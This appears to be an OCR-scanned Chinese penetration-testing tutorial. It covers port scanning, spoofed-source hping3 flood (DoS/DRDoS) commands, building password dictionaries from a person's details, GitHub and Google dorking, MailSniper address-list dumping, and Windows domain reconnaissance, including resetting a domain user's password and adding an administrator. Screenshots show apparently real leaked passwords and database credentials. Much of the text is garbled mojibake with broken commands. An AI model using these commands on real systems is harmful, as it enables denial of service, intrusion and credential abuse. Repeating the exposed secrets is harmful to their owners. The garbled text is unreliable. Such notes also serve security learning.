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‘B M https://nmap.org/
RRRA RS

Mac os: brew install nmap
Centos: yum install nmap
Ubuntu: apt—get install nmap

22 Fif: https://nmap.org/man/zh/index.html

=k Yo
(e R EEE W
TCP: -sT

RPC: -sR

ICMP: -sP

Disable Port Scan: -sn

B WHIX S @R https:/blog.csdn.netlliudongdong19/article/details/83506731

GEEEEES
100005 0. BAERK. A

nmap -T4 -A <target>

R BRI

nmap -sV <target>

R %

ot A5

--host-timeout FEHLFERIEIE] HHEIEE: 18000

--scan-delay #R3CHJ[HEFE EHEE: 1000
-s <YEHhBE> B X HE#EVERLE, T AR

Bl

nmap -V -iR 100000 -PO -p 80

BEHLIEFE 100000 N R FIZTWebRS 2 (803 H) « MMM BRERNIR SR E EVRE TIEEFIRFNE, 7
BRFBHRUENK—ANmE, FEA-POSEIEX EHFIR.

host -1 company.com | cut -d -f 4 | nmap -V -iL -

BEATDNS X 4L 4, AR Blcompany.comf i EHL, RJEHIPHuNEIR Bt Nmap. Eikdr4 T GNU/Linux — H'E R4 T X
AL A R R4

Z2%: http://www.unspecific.com/nmap-oG-output/




Tji H #hhit: https://github .com/robertdavidgraham/masscan
7R

$ sudo apt-get install git gcc make libpcap—dev

$ git clone https://github. com/ rober tdavidgr aham/ masscan
$ cd masscan

$ make

1% T B 32 Nmap iS5 3 s 213k T

1.4 --adapter-ip 192

[sudo] dayu

dz

-Pn -n --randomize

4 : sudo masscan --ports 1-10000 192.168.1.4 --adapter-ip 192.168.175.128

-adapter-ip f&ERGHIIPHIE
-adapter-port #&%E R KIEN O
-adapter-mac #8 & R HIIEMACHEHE
-router-mac #85E MK HKIMACH: 1L

-exclude IPHuhLYGFE R A, PfilkmasscanfH
-excludefile #8EIPHuhEE 2 4% B

-includefile, -ilL B —/ANEEFIRETHM
-wait fRERBZEEZEHERNE, RilN1ew
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open
open
open
open
open
open

=T,
opel

fii4: masscan -e eth® -p 1-65535 --rate 1000 192.168.1.4

FEMEIAITRAEOL T, POE AR AL 5 0 Snmaplic &



dayu@kali: ~ 79x48
% whereis nbtscan
/usr/bin/nbtscan fusr/share/man/manl/nbtscan.1l.gz
% nbtscan

nbtscan:

NBTscan version 1.6.
This 1s a free software and 1t comes with absolutely no warranty.
d:YGJ can use, distribute and modify it under terms of GNU GPL 2+.
Usage:
nbtscan [-v] [-d] [-e] [-1] [-t timeout] [-b bandwidth] [-r] [-q] [-s
1 [-m retransmits] (-f filename)|(<scan_range>)
verbose output. Print all names received
from each host
dump packets. Print whole packet contents.
Format output in fetc/hosts format.
Format output in lmhosts format.
Cannot be used with -v, -5 or -h options.
wailt timeout milliseconds for response.

separator

hitps://blog.csdn.net/qq_34801745

dayu@kali: ~ 79x48
$ sudo nbtscan 192.168.175.138
Doing NBT name scan for addresses from 192.168.175.138
Server MAC address

IP address NetBIOS Name

192.168.175.138 WIN-3AFB4NGIN3E <server> <unknown: PO:0c:29:4e:1F:49

% sudo nbtscan -v -s 192.168.175.138

192,
192,
192,
192,
192,
192.

dl9z2.

168.175
168.17
168.175
168.175
168.175
168.175
168.17

.138:
5.138:

WIN-3AFE4NGINIG: 20U
WIN-3AFB4NGIN3G: @AU

.138:
.138:
.138:
.138:

WORKGROUP

WORKGROUP

WORKGROUP
MSEROWSE

100G
1lei
:1du

:R1G

.138:

MAC:00:0c:29:4e:1f:49

51

https://blog.csdn.net/qg_3480174

nbtscanF# P AR ILENZ . MAC addrE 5 E...

HHEANCR

nbtscan 192.168.1.1-100

B —ANEE
nbtscan -v -s : 192.168.1.0/24

LB BRgs R




nbtscan -f <File>

MO S B Y

RERE

-5

% nbtscan -v
WORKGROUP
LAPTOP-IFMFEBBY
LAPTOP-IFMFEBBY
MAC f8:ac:65:0f:

dayu@kali: ~ 79x48
192.168.1.4
paG
20U
aau
d2:b9

$ nbtscan -v -s 192.168.1.4 | awk '{print $1}' unig

https:/iblog.csdn.netiqq_34801745

.168.1.4
.168.1.4 | awk '{print $1}'

nbtscan -v -s ' '

nbtscan -v -s ' ' | unig

hping3 3 ZE MR K8 A=A, % P 28 e 2 24T T ik
(9L SN

PR
-rawip IPFIAIRIC
-icmp ICMPHER
-udp UDPHEZ
-scan N
-listen MWrE=

hping3 --scan 1-30,70-90 -S www.baidu.com

SYNJF X% F Wi 0
dayu@kali: ~ 79x48
% sudo hping3 --scan 445,135 -5 192.168.1.4
nning 192.168.1.4 (192.168.1.4), port 445,135
to n, use -V to see all the replies

5

d

5Cd

128
128

135 epmap 06399 b4240

445 microsoft-d:

.
All replies received. Done.
Not responding ports:

4

P

Y . PR bb3> b4240

https://blog.csdn.net/qq_34801745

sudo hping3 --scan 445,135 -S 192.168.1.4




AER, HREHREET:S...A, EKSYN/ACK

hping3 -S -a 114.114.114.114 -p 53 114.114.114.114 -c 5

TR K EEHTICMP R RV &7 S Fitraceroutes & B BEEA NG O SR k5T HE 4R % B (DoS attack) . #lan, A
LandAttack 7 Uk H 4B k3% (Land Attack2 K & EIEHHE B N5 Birih it M, B4 Bistl5 B oA S TR

DRDDOS

hping3 -udp -a 114.114.114.114 -p 53 114.114.114.114 -c 5

#TFUDPHIDOS

2%

http://@daysecurity.com/articles/hping3_ examples.html - - R VEYH VR R

http://man.linuxde.net/hping3
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WRIERH B IPHubE, FFRCEIE R, AR FHRAR. AX. KIUBEH TEA
F AR pydictor

ZH:

git clone https://github.com/LandGrey/pydictor




A BT g
7. IR FH

python pydictor.py ——sedb

[ O R I

[N A VA I VA AN
1 G G0 By |
[T/ P NP R | VN VO V)
Il —

Social Engineering Dictionary Builder
Build by LandGrey

[ command ]
[+]help desc [+]exit/quit [+]clear/cls
[+1show option [+]set option arguments [+]rm option
[+]11len minlen maxlen [+]head prefix [+]tail suffix
[+]encode type [+]occur L d s [+]types L d s
[+]regex string [+]1level code [+] leet code
[+]output directory [+]run

[ option ]
[+]cname [+]ename [+] sname
[+]birth [+]usedpwd [+]phone
[+]uphone [+]hphone [+]email
[+]postcode [+]Inickname [+]idcard
[+]jobnum [+]otherdate [+]usedchar

pydictor SEDB>>

-4 : python pydictor.py --sedb

WL Ay 2

python pydictor.py --sedb
set cname liwei

set sname lw Lwei

set ename zwell

set birth 19880916

set usedpwd liweil23456. 1liwei@19880916 1w19880916_ 123
set phone 18852006666

set uphone 15500998080

set hphone 76500100 61599000 01061599000

set email 33125500@qq.com

set email 13561207878@163.com

set email weiweili@gmail.com

set email wei@lOwei@hotmail.com

set postcode 663321 962210

set nickname z1ili

set idcard 152726198809160571

set jobnum 20051230 100563

set otherdate 19591004 19621012

set otherdate 19870906 19880208

set usedchar tiger gof gamesthrones 176003 m@n5ter ppdog

HFHNAS WS-
FIEE

python pydictor.py -tool un

ZFRIMHAEGTR

python pydictor.py -tool hybrider heads.txt some_others.txt tails.txt




SZH#Y: https://github.com/LandGrey/pydictor/blob/master/docs/doc/usage.md

CVE: https://cve.mitre.org/

Exploit-DB: https://www.exploit-db.com/

CX Security: https://cxsecurity.com/

CNVD: https://www.cnvd.org.cn/

securitytracker: https://www.securitytracker.com/

dayu@kali: fopt 162x48

F| F searchsploit apache 5.3.12# &apachei&if.. . XBHAEXT ...

fubuntu
fubuntu

fii4: searchsploit -u

EHiEoHexplE. ..

HE: https://www.baidu.com

A8K: https://www.google.com
WARZ: https://cn.bing.com

exploitdb



fELEO

http://ce.baidu.com/index/getrelatedsites?site address=baidu.com

http://www.webscan.cc/

http://sbd.ximcx.cn/ --7ELRTFIR4 B - 82 0 EIEMR
://censys.io/certificates?q=.example.com

://crt.sh/?q=%25.example.com

://github.com/c@nyl/workscripts/tree/master/get-subdomain-from-baidu
://dnsdumpster.com/ --EWDNSIEFR. ME. HHR

://www.threatcrowd.org/searchApi/v2/domain/report/?domain=baidu.com --FfI%5—A>—%F¢

://findsubdomains.com/
://dnslytics.com/search?g=www.baidu.com --DNSlyrics
://pentest-tools.com/information-gathering/find-subdomains-of-domain - -DNST T [ 2 1Kk 5. 3
://viewdns.info/ --EEIR %
://www.ipneighbour.com/#/lookup/114.114.114.114
://securitytrails.com/list/apex_domain/baidu.com
://url.fht.im/

http://api.hackertarget.com/hostsearch/?q=baidu.com

http://www.yunsee.cn/finger.html --nh (PREBERD

AN, AT .
HRIH

https://github.com/rshipp/awesome-malware-analysis/blob/master/EE#MFoHrKE4E . md

AR ki Zes R R

5. Github Hacking

AT ME A AL GitHub i FE R UL T RAGE R, UREERYT K BTE RAH Github 77

Repositories
Topics

Issues and pull requests

for repositories

topics

code

commits

issues and pull requests
users

wikis

in forks

AT LA DA 75 38 2R T B 4 R T 48 R Github
BATLMER>, >=, <, M<@BREKRT, RTEHET, MTFADTERETH—MERE
THENBIMFTER

BREE



cats stars:>1000ULH X4 ¥ "cats" Hstar KT 1000/ E

cats topIcs:>=SULEL R T "cats" A B R TETSHERE

cats size:<10000ILEL R "cats" HXfF/NT10KBHI &
cats stars:<=50ULFL KT "cats" Hstar/MFETF5e & E
cats stars:10..*JLELREF "cats" Hstar K T4 T 108 E
cats stars:*..10ILELREF "cats" Hstar/h T4 T 108 E

cats stars:10..50ULAk8 ¥ "cats" Hstar K T10H /M TS50t

R

RE4E 2= /N 384KBHISCF

1R R /> F500,000 0 UMM E, BRI RIE ALZMHE

Kxfilename#® &S, HWRFERLHULARDEE— AN RE., Fln, #Elanguage: JavascriptE, MAXHE: amazing language:Java
script

HRERRZ T LLERREFE— XA B, EXHFHRESEES o BARKUTERFHERZERNN L., ! "= *x 1 2 #
$&+2 | ~< > () {1} ] BHEREABIERS

H 39 % 1

cats pushed:<2012-07-05 #&7E20124E07 H05Huaipushftid, Hcats{EAxREET
cats pushed:2016-04-30..2016-07-04 HIX A
cats created:>=2017-04-01 AR} [A]

BPHRIEH
AND. OR. NOT

HE iz H

cats pushed:<2012-07-05 language:java ##&7E2012407H05HApushfiid, HcatsfEhkes, Hikkjavaits &

in:file HRXMHHEE catsHRG
in:path #RELPEE catsHIRIG
in:path,file MRERZE. XHFEEcatsHRG
path:app/public language:javascript #Z&RKHEF console, HiEE ANjavascript, fEapp/public F KIS

user: USERNAME P 28ER
org: ''ORGNAME HRAHER
repo: USERNAME/REPOSITORY REBEHER

SCAER A

size:>1000 #ZA/NKTF1KBHI ST

BRREH



filename:config.php language:php # & 344 4 config.php, HiEE Nphp KIS

mail filenam

Repositories
Code
Commits
Issues
Discussions
Packages
Marketplace
Topics

Wikis

Users

Languages
INI
Java Properties
HTML
Java
Gettext Catalog

PHP

D

N
=)

= =
M N £
X ° ¥

604,163
193,561
33,706
12,160
6,699

3,013

roperties Pull requests Issues Marketplace Explore

Showing 869,929 available code results ®

I.:J noorus123/flutter-springboot-api
email/.properties

#spring

#spring.
#spring.
#spring.
#spring.
#spring.

Java Properties

.mail.

mail.
mail.
mail.
mail.
mail.

host=smtp.gmail.com

port=587
username=bytewheel@gmail.com
password=bytewheel@l23
to=nooruskhan786@gmail.com
properties.mail.smtp.auth=true

Showing the top six matches Last indexed 27 days ago

&De jbdev-tommy/JB-Dev-Facturier

src/main/java/fr/jbdev/facturier/messages/properties.properties

MailSenderServiceImpl.mail.host=mail.gandi.net
MailSenderServiceImpl.mail.password=@Bonjour777
MailSenderServiceImpl.mail.port=587
MailSenderServiceImpl.mail.subject=JB-Dev Facturier

INI  Showing the top nine matches Last indexed on 2 Jul 2018

l#. arunpjohny/zyb-bulk-mailer
@ dist/runner/properties.properties

ar
un
pjo
hn
y

mailer.
mailer.
mailer.
mailer.
mailer.

host=smtp.gmail.com

port=587
username=arun.official.mail@gmail.com
password=

from=arun.p@areytip.com

Sort: Best match v



& Javalil H fic B X4 mail filename:.properties

mail filename:.properties Pullrequests Issues Marketplace Explore

Repositories Showing 869,929 available code results ® S EIRmEENS
Code 873K+
L:J noorus123/flutter-springboot-api

CIEmIlis email/.properties
|ssues #spring.mail.host=smtp.gmail.com

#spring.mail.port=587
Discussions #spring.mail.username=bytewheel@gmail.com

#spring.mail.password=bytewheel@123
Packages #spring.mail.to=nooruskhan786@gmail.com

#spring.mail.properties.mail.smtp.auth=true

Marketplace Java Properties  Showing the top six matches Last indexed 27 days ago

N N ES
Jd 0o :

Topics
Wikis 2-De jbdev-tommy/JB-Dev-Facturier
src/main/java/fr/jbdev/facturier/messages/properties.properties
Users MailSenderServiceImpl.mail.host=mail.gandi.net
MailSenderServiceImpl.mail.password=@Bonjour777
MailSenderServiceImpl.mail.port=587
Languages MailSenderServiceImpl.mail.subject=JB-Dev Facturier
INI 604,163 INI Showing the top nine matches Last indexed on 2 Jul 2018
tnua Dranartine 109 EE1

# & extension:yaml mongolab.com H#E7E RS {5 B &

extension:yaml mongolab.com Pull requests Issues Marketplace Explore

Repositories @ 56 code results Sort: Best match v
Code @
) phoffer/sinatra-base
Commits 287 models/mongoid.yaml
default:
Issues @ hosts:
Discussions @ 0 # - mongolab.com:31777
T # Define the default database name.
Packages o # database: db_name
Marketplace 0 urii <%= ENV['MONGOLAB_URI'] %>
development:
Topics 0 sessions:
default:
Wikis 278 uri: <%= ENV['MONGOLAB_URI'] %>
@ YAML Showing the top four matches Last indexed on 28 Jun 2018
Users 0
Languages l». andrewkuzmych/clubbook
@ web/clubbook/config/config.yaml
YAML 56 an default:
dr db:
ew connection: "mongodb://root:root@ds@33841.mongolab.com:33841/clubbook_test"
Advanced search ~ Cheat sheet ku #connection: "mongodb://root:root@ds@35300.mongolab.com:35300/clubbook_prod"
zm use_analitics: "false"

ye @ YAML  Showing the top four matches Last indexed on 15 Jul 2018
h

l». pblin/soshio
@ celery-acquisition/config/config.yaml
nh

B3t TR

thub.com/unkl4b




UIINL4U

Automatic search for Github

-> github.com/UnkL4b
-> unkl4b.github.io

[WARNING]
DEVELOPERS ASSUME NO LIABILITY AND ARE NOT
RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY
THIS PROGRAM

[-h] [-q 'filename:shadow path:etc']
[-m wordpress] [-o result.txtl]
[-r '/7™\s*.%?7;?\s*x$/gm"]
[-c _octo=GH1.1.2098292984896.153133829439; _ga=GAl.2.36424941.153192375318; user_session=0ZD
optional arguments:
-h, —--help show this help message and exit
-q 'filename:shadow path:etc', --query 'filename:shadow path:etc'
Specify search term
-m wordpress, —-module wordpress
Specify the search module
-0 result.txt, —-—output result.txt
Specify the output file where it will be
saved
-r "/M\sk(.x?);?\sx$/gm', —-regex '/™\skx(.x7);?\s*x$/gm'
Set regex to search in file
—-C _octo=GH1.1.2098292984896.153133829439; _ga=GA1l.2.36424941.153192375318; user_session=0ZIxL2_aje
Specify the cookie for your github

EXAMPLE

Searching for wordpress configuration files with passwords:

$:> python3 gitminer-v2.0.py -q 'filename:wp-config extension:php FTP_HOST in:file ' -m wordpress -c

exampleff FEIR], JEELFH

https://github.com/techgaun/github-dorks #40/%github hacking #ZEFIFMRLLL L ! !

6. google hacking



GO gle intitle: "index of /"

intitle index of / mp3

intitle index of / admin

intitle index of uri the surgical strike
intitle index of mkv kabir singh
intitle index of matrix

intitle index of ./ ./bitcoin

intitle index of cumbias mp3

intitle index of musica variada mp3
intitle index of mp3

intitle index of kabir singh

Y
aanE
SCpEH
A

18 5E M ok
BEHEAurl
AL E i B R X T
B8 U KIS AR A
BRI HT




EN

HEZEBWESEENRE
Go g|e inurl:/admin intext: FAEEASR X $ Q
Q=2 LEF BHE D QwA ED #E IB

RN 97 4R (BT 0.28 7)

www.xzbbc.com » admin » login
RMEREEEERS
MNEREAEERS. APER.

www.linmon.cn > admin
g REEEERG
MNEREEEERL. BREEN - KICEB. KTkl BARZE: BIESE.

www.onpowbutton.com » admin
EeEBALR
EIEWRS: | BINEE:

www.yuchenweigh.com » admin » admin_login ~

-MitE e EEARS
RUEEE>>. AFE: . @0 . RiFG: B8 SEk—K.

www.jshgjt.com » ow-admin » login «

BEEREM- EREEARS
EELEM. lSusername. EfE&i8password. JiEMEverify code. IZE1E R Login. 'SICEE?

www.bayims.cn > admin ~
Bht- FREEAS

EERG. AP A, Bi8.
TRDFIE:  intext | MAIEIS:  intext:

fr4: inurl:/admin intext: BE&SHESL

site:"some-keywords.com"intitle: login intext: intext: B |56 | &k | H/ 4 | ZE | Kk | R4 | S| manage|admin|log

in|system

BREGREHEBRIIR
GO gle intext: index of / | ../ | Parent Directory X !; Q
Q=B LESF B N OBy PEE B#E IR

¥ EFIH) 1,070,000 4R (FET 0.48 )

cdaweb.gsfc.nasa.gov > pub v EFIFILTT

Index of /pub - CDAWeb

Parent Directory, -. 000_readme.htm, 2019-11-08 11:48, 7.5K. 000_readme.ixt, 2019-07-17
19:12, 3.7K. catalogs/, 2020-09-16 06:25, -. data/, 2020-07-24 07:55 ...

spdf.gsfc.nasa.gov > pub ~ EIEIETT

Index of /pub - NASA SPDF
Name - Last modified - Size - Parent Directory, -. 000_readme.htm, 2019-11-08 11:48, 7.5K.

AAA L - 4l AAAA AT AT AALAA AT/ s i_ ool AAANA AN 4~ AR



VUU_reaame.ixt, £U1y-U/-117 19.14, 3./ N, catalogs/, £ULU-Uy-10 Vo: ...

www.nhlbi.nih.gov > files v EHiELETR

Index of ffiles

Index of ffiles. [ICO], Name - Last modified - Size - Description. [PARENTDIR], Parent Directory,
-. [DIR], audio/, 2014-04-10 00:21, -. [DIR], docs/, 2019-07-01 14: ...

www.exploit-db.com > ghdb ~ EIZEIETT

(intext:"index of /.git") ("parent directory") - Exploit Database

201653 H22H - This dork will find git repository's which may have sensitive information.
(intext:"index of /.git") ("parent directory") Enjoy! necrodamus.

Index of /pub|

Name Last modified Size

|Parent Directory ] -
000 readme.htm 2019-11-08 11:48 7.5K
000 readme.txt 2019-07-17 19:12 3.7K
catalogs/ 2020-09-16 21:01 -
data/ 2020-07-24 07:55 -
datasets.json 2018-10-05 15:25 2.5K
documents/ 2019-11-1214:39 -
misc/ 2016-07-07 16:04 -
models/ 2018-01-26 08:56 -
pre_generated plots/ 2018-03-19 13:26 -
software/ 2020-06-10 21:54 -

AIE BIFEAE H PR R 2 url
4 : intext: index of / | ../ | Parent Directory

site:"some-keywords.com” intext: index of / | ../ | Parent Directory

7. Git-all-secret

et



A LA N B 2 IE M FRIE 3, 7E docker runif i {5 4 FH -V

(pwd)/ rules. json; /root/truffieHog/rules. json. B BA{$ A BRIA IE W) R5E 2K, i SR 7% 22, B T LA A truffleHog 3 B i my Sl = 75 e . AT LAE
idrepo- supervisor T. B # & sHljson K =B ZR/FF . AL ZRAFHIGist KEH T AMBEXAThEE. FH LA LIRE 5 HE

3 git-all-secrets. X #iA#iM N Github orgs/ users/repos/ gists. K% ¥ T B R 840 gtal- secrets /] A — ik A £
I
.

i ZfEdocker i B T &4, Wk 7EXA, UEHBIEE!

8. mailsniper.ps13k i outlookFT & Bk & A
M

RIS A K S # RS, I B AT LS Foutlook
outlooktuhik AT LR B 75 I AT LA B in B CHERK, HFERM

H
REERE R ARRN, TEELBHBOLESE
FIA

¥ 2£38 Outlook Web Access (OWA) FlExchange WebfR%: (EWS) M7k, M4 7] T MExchange it 4 B 7 HE (451K -

Get-GlobalAddressList -ExchHostname "outlookifilt” -UserName “i4/3H 4> -Password “#fg%” -OutFile global-addre

ss-list.txt

L3 O 2 HiroutlookZE H O R &8

Ik A Ko A R S8 4,
ZEmailsniper. ps1#Jg — 17 B LA FARED, t m] LUE 442 107 R

Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global

-address-list.txt

A BAME B K S F 85 % 5 3% B Arfoutlook, FMZhE TG SHERAF BLAVEC R ANERIREU TR, Ida i (RAF 215014 B

#in HoutlookEOffice 365 1B #H 2 — £, IEExchHostname?s [Aloutlook.office365.comBI ], usernamef i 52 B KR FE RN E =2
F P 44 By

Get-GlobalAddressList -ExchHostname outlook.office365.com -Username fi/&Z@HR%E.....

SEER

https://www.blackhillsinfosec.com/abusing-exchange-mailbox-permissions-mailsniper/

https://www.cnblogs.com/backlion/p/6812690.html

T Hihk

https://github.com/dafthack/mailsniper

9. IMBEZEBWE
Windows ( T{E# Rl )



K& 2 H0 shellSUR

whoami /user & whoami /priv

ers\yu! B>whoami /user

S—1-5-21-2096972008-225106222-4250100324-1000

>whoami /priv

\PTlﬁPZouPPil\ll;ﬂp E@ﬂiﬁff:

C:\Users\yu"

https://blog.csdn.net/q

BERGHER




C:\Users\vujun>systeminfo

0S HiikT:

0S fL&:

05 FIEE KT
EMEITE A
FEMHRZH 21
b= 1D:
175 % H 1)
B V=R EIE
RS
RGN
R
AT

BI0S filzZs:
Windows Ha¢:
E%?ﬁﬁﬂfﬁz

JE B
%5?E[:fﬁﬁiﬁi'
%J)\d?[:fﬁﬁ%zi

fqilVHZ?
FEFUNTE:
FEFUA A7
DU SO A
1
Lo e
EHNEF

Al

Hyper—V 2Kk :

E%ﬁ(ﬁi:
{E

TCEE
Microsoft Windows 10 ZXEERR
10.0. 18362 #Hl Build 18362
Microsoft Corporation
JhAr T AFuk
Multiprocessor Free

[

00326-30000-00001-AA767
2020/9/11, 15:33:39
2020/9/17, 13:27:37
Parallels Software International Inc.
Parallels Virtual Platform
x64-based PC
ZHT 1 MbHEs.
[01]: Intel64 Family 6 Model 158 Stepping 13 Genuinelntel ~2400 Mhz
Parallels Software International Inc. 15.1.4 (47270), 2020/4/13
C:\WINDOWS
C:\WINDOWS\system32
\Device\HarddiskVolume2
zh—cn; 13 (F[H)
en-us; #ig (EH)
(UTC+08:00) /K
4,073 MB
1, 567 MB
5,481 MB
2,825 MB
2,656 MB
C:\pagefile. sys
WORKGROUP
\\7CEE
LT 5 MEAEIT
[01]: KB4576484
[02]: KB4497727
[03]: KB4561600
[04]: KB4576751
[05]: KB4497464
ZHET 2 4 NIC.
[01] Sangfor SSL VPN CS Support System VNIC
A LUK 2
RE: A B O
[02]: Intel(R) 82574L Gigabit Network Connection
EEEA DL Y
JGF DHCP: 2
DHCP fR4-%%: 10.211.55.1
1P Hihit
[01]:
[02]:

FE R

10.211.55. 3
fe80::5001:dal9:c6d8:a9%9ab
[03]: fdb2:2c26:f4e4:0:a596:ed3a:66bb:b31f
[04]: fdb2:2c26:f4e4:0:5001:dal9:c6d8:a9a6
A 2 ERALEERER . BARR Hyper-V Bl FIThAE

https://blog.csdn.net/qq_34801745

WS B ENA->DEAG

Tep/udp M4 EBERERE B




A LAIRE A P IP 43 A IRZS- Rk %5 (redis)

C:\Users\yujun>netstat —ano
EFNIpURES

il A< Hhhdk A bk TR PID

TCP LISTENING
TCP L.ISTENING
TCP L.ISTENING
TCP LISTENING
TCP LISTENING
TCP LISTENING
TCP LISTENING
TCP LISTENING
TCP L.ISTENING
TCP L.ISTENING
TCP LISTENING
TCP LISTENING
TCP . 0. LISTENING
TCP 2.139. 250. 253:443 ESTABLISHED
TCP . 54.24. 69:443 TIME_WAIT
TCP .210. 21. 109:80 TIME_WAIT
TCP .210. 21. 45:80 TIME_WATT
TCP 2.123.113. 145:80 TIME WATIT
TCP 20. 54. 24. 79:443 TIME WAIT
TCP 112. 240. 59. 29:80 TIME WAIT
TCP 119. 188. 13. 108:80 TIME _WAIT
TCP 117.91. 184. 166:80 TIME_WAIT
TCP 60. 210. 23. 249:80 TIME_WAIT

D Q 0N Q NE - Q | J |

o - a o I

. .

SCoOo0O00000OS
COOOCoOOOOOO
CO0OO000000OS
SO oo oo oo oo o

S

OO0 000000000

S R

[en N an i e e R B e B e R s i e B e T an i an R a»)

cCoocococcocoocooo

WWWLWWWwwwWwwww
C OO DO OO OoO o

https://blog.gsdn.net/aq_34801745

HEENEA

hostname

HELWRIERSR

wmic OS get Caption,CSDVersion,OSArchitecture,Version

ver

C:\Eééré\?ul >wmic OS get Caption, CSDVersion, OSArchitecture, Version
Caption CSDVersion OSArchitecture Version
Microsoft Windows 10 ZHJEERK 64 fif 10. 0. 18362

C:\Users\yu. ®m>ver

Microsoft Windows [fAxA4s 10.0. 18362. 30]

hitps://blog.csdn.net/qq_34801745

HRK

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List




7 pm>WMIC/Node:localhost /Names . curityC -2 Path AntiVirusProduct Get displayName /Format:List

displayNar 04T+

displayName=Windows Defender

BELHZENERF

Version

e For CoreCon
re Ma ed Apps Libs

0.0
. . 21005
ditional Runti . 21005
4-bit)

BEREELHAP

quser windwos7#r4

net config workstation



II*—JE'JLIE—J E= a0 |21

2828-9-11 11: 41

C:\Users\yt >query
"query’ AZAEESMBAS, WMARTETIRRF
Bt b B A

C:\Users\yuw B>

C:\Users\yvuy m>

C:\Users\yu 0o

C:\Users\yu! E>query user

query’  AENFESHANE AT, WA A1 AR
it A B SO

C:\Users\yw l

C:\Users\yu: ®M>net config workstation
THEHLA \\7CEE
HEALE A 7CEE
ﬁﬁ)t' % - m

T EIEAT T |
NetBT Tcpip_ {BF722608-6CB5-41BA-B184-BFEOEDEDFD55}) (001C42492BDA)

AR A Windows 10 Home

T Af 4 WORKGROUP
FE ST TCEE

COM TR (F) 0
COM RIETHEL (F77) 16
COM A iEHEm (=Fb) 250

C:\Users\vlj '@’ m

hitps://blog.csdn.net/og_34801745
BEEMKEE
ipconfig /all




Jsers\yu mr

Windows IP ACHE

EHLE ...

¥+ DNS J5% .
SP=C-Tiu

IP E%HHE, B
HNSREEF%..
DNS fERHERI|E

PIUKMIERLES UK
%ﬁm%D%rﬁﬂ.

k. ..
YEE AL, ..
DHCP CLEH . .
Haid & O 8 .
IPv6 #Hifl . . .
WEHE IPve Huhlk., . .
AR TPve Mk
IPv4 bl . . . .
TRERN ..
SR 24 f R 7]
ﬁ%ﬁ%mﬁ@
2RIARE. ..
DHCP Hk%2s .
DHCPv6 TIAID . . . .
DHCPv6 % /%% DUID
DNS AR%54s . .
TCPIP E[fJ NetBIOS

AKPIERC 2 PARR 2:

BRI

k. .o
Py
DHCP CUH A . .
HEhECE 25 A,

ifﬁﬁma@'ms m;,% .

=N
=

; localdomain

: localdomain

: Intel (R) 82574L Gigabit Network Connection
¢ 00-1C-42-49-2B-DA

L

=]

CE

. fdb2:2¢26:f4e4:0:5001:dal9:c6d8:a9a6 (Hi%k)
. Tdb2:2¢26:f4e4:0:a596:ed3a:66bb:b31f (H L
: Te80::5001:dal9:c6d8:a9a6%8 (Hik)

: 10.211.55. 3(Hi%)

1 25h. 25h. 255. 0

. 20204E9H 17H 15:03:46

. 20204E9H 17H 15:33:45

: 10.211.55.1

: 10.211.55.1

1 Hh0338882

: 00-01-00-01-26-A8-9D-BF-00-1C-42-49-2B-DA
¢ 10.211.55.1

: O H

)

D ARG

; Sangfor SSL VPN CS Support System VNIC
: QQ*FF*IC*9D*2B*55

£
CE

https://blog.csdn.netiqq_34801745

A Primary Dns Suffilt 5 B 238 P 25 19 U 24 BT AL 8s Mz AE TAEA
BREHRE




BC: \Users\yu™ ®tasklist /v

A% 44 FR PN L S SREXCIE
| CPU B[R] & H A%

BSystem Idle Process 0 Services Unknown
2:26:54 Bk

System 4 Services Unknown
0:01:25 ik

Registry 88 Services Unknown
' 0:00:00 E&Ek

Smss. exe 340 Services : Unknown
:00:00 ik

CSTSS. exe 464 Services Unknown
:00:02 EHh

CST'SS. exe h48 Console Running
:00:05 FHR

wininit. exe bbb Services Unknown
:00:00 ik

winlogon. exe 636 Console Unknown
:00:00 EHk

services. exe 680 Services K Unknown

105

lsass. exe 696 Services K Unknown
. y https:/blog.csdn.net/qg_34801745

B e 2 AT BE R I P B> i 5 A PR A 5 B> 57 BUSU A I AR AIE
BE 4608

C:\Users\yw mrnet config workstation
THEHLA \\7CEE
TEILE A 7CEE
iRk .

T AR EE 7T |
NetBT Tepip {BF722608-6CB5-41BA-B184-BFEOEDEDFD55} (001C42492BDA)

- EGITEN Windows 10 Home

- BRI WORKGROUP
L] 7CEE

COM 4TFFEEET (b)) 0

COM AETHEL (F75) 16
BCOM FOXiEER (ZA)) 250
B i 2 N 56 i o

https:/blog.csdn.net/qq_34801745

i LT 8 i




C:\Users\vu" “>cmdkey /1

2THTRAT R -

EWT‘ MicrosoftAccount:target=SS0_POP_Device
EH Tﬂq

0 )]xli—‘ jaobcde

H # : WindowsLive:target= =virtualapp/didlogical
_'JFJ ﬁlJ = IFH_

EH F' 02kie jaobcde
AN HIL KL A8 $F 22 B[]

https://blog.csdn.net/gg_

A] AE R AL T SR -> 48 H 258
BEAN LKA KPP 5IR

C:\Users\yu. net user

\\7CEE HH J iy

Defaul tAccount Guest
yu

dn.net/qq_34801745

BEE XA P xxxi1E B

net user Xxxx




sers\yu' >net user yu
yu

BV RE

7/ Hi XA 086 (1)
= Yes

MAS

2020/ 7/ 21 21:07:39
MAS

2020/ 7/ 21 21:07:39
No
Yes

=& B - Hp 3
Tﬂ}é‘ﬂﬁ}ﬁﬂ\*ﬂ}ﬁ

=
b2
W

.vl.

All

A @%EE%

mm
B

MRS MR
=Sy’
=
Itz 3>
<
=

';%l-l-l

_tLAE§,< 2020/ 9/ 14 9:13:29
Al SRR B SR /N AL All

7 b 2H fie 7 *Administrators *Performance Log Users
*Users

4= R R *None

2 I 58 Ao

https://blog.csdn.net/qq_34801745

BEAVA P xxxif 5 8

net user /domain ERFTES I 4
net user AP /domain  FRECGEANHH P HFAREE
net user /domain xxx 12345678 1EHUSAFEN, FEBREH RE

nltest /domain_trusts /all trusts /v /server: 192.168.xX.XX R BIFTE SRR
nltest /dsgetdc:hack /server:192.168.xx.xx IR [5] 3553 0 FL AR B PR TP b

net user /do SREUEH 2 513%

het group "domain admins" /domain IREUEE B R 51 %

net group "domain controllers" /domain BEREHB(WMEFZE)

net group "domain computers" /domain BRI

net group /domain B B ) TR

net localgroup administrators AHEER [BESHERAS]

net localgroup administrators /domain G AL B R

net localgroup administrators workgroup\user@ol /add WA P s 2 A 51




view BER—BANSEIR
view \\ip EFFEIPHE

